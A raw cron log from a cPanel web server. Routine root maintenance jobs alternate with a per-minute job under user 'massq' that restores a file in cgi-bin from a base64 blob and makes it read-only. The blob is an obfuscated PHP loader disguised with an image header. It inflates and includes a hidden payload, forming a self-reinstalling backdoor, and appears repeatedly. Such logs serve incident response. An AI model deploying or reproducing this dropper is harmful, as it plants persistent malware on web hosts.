Sep  3 23:29:01 server CROND[32730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:30:01 server CROND[792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:30:01 server CROND[794]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:30:01 server CROND[795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:30:01 server CROND[796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:30:01 server CROND[797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:30:01 server CROND[798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:30:01 server CROND[799]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:30:01 server CROND[800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:31:01 server CROND[1726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:31:01 server CROND[1728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:31:01 server CROND[1727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:32:01 server CROND[2142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:32:01 server CROND[2141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:32:01 server CROND[2143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:33:01 server CROND[2544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:33:01 server CROND[2546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:33:01 server CROND[2545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:34:01 server CROND[2956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:34:01 server CROND[2955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:34:01 server CROND[2957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:35:01 server CROND[3444]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 23:35:01 server CROND[3447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:35:01 server CROND[3450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:35:01 server CROND[3448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:35:01 server CROND[3455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:35:01 server CROND[3452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:35:01 server CROND[3451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:35:01 server CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:35:01 server CROND[3454]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:36:01 server CROND[4292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:36:01 server CROND[4293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:36:01 server CROND[4294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:37:01 server CROND[4688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:37:01 server CROND[4689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:37:01 server CROND[4690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:38:01 server CROND[5062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:38:01 server CROND[5063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:38:01 server CROND[5064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:39:01 server CROND[5437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:39:01 server CROND[5439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:39:01 server CROND[5441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:39:01 server CROND[5440]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 23:40:01 server CROND[5991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:40:01 server CROND[5993]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:40:01 server CROND[5994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:40:01 server CROND[5992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:40:01 server CROND[5995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:40:01 server CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:40:01 server CROND[5999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
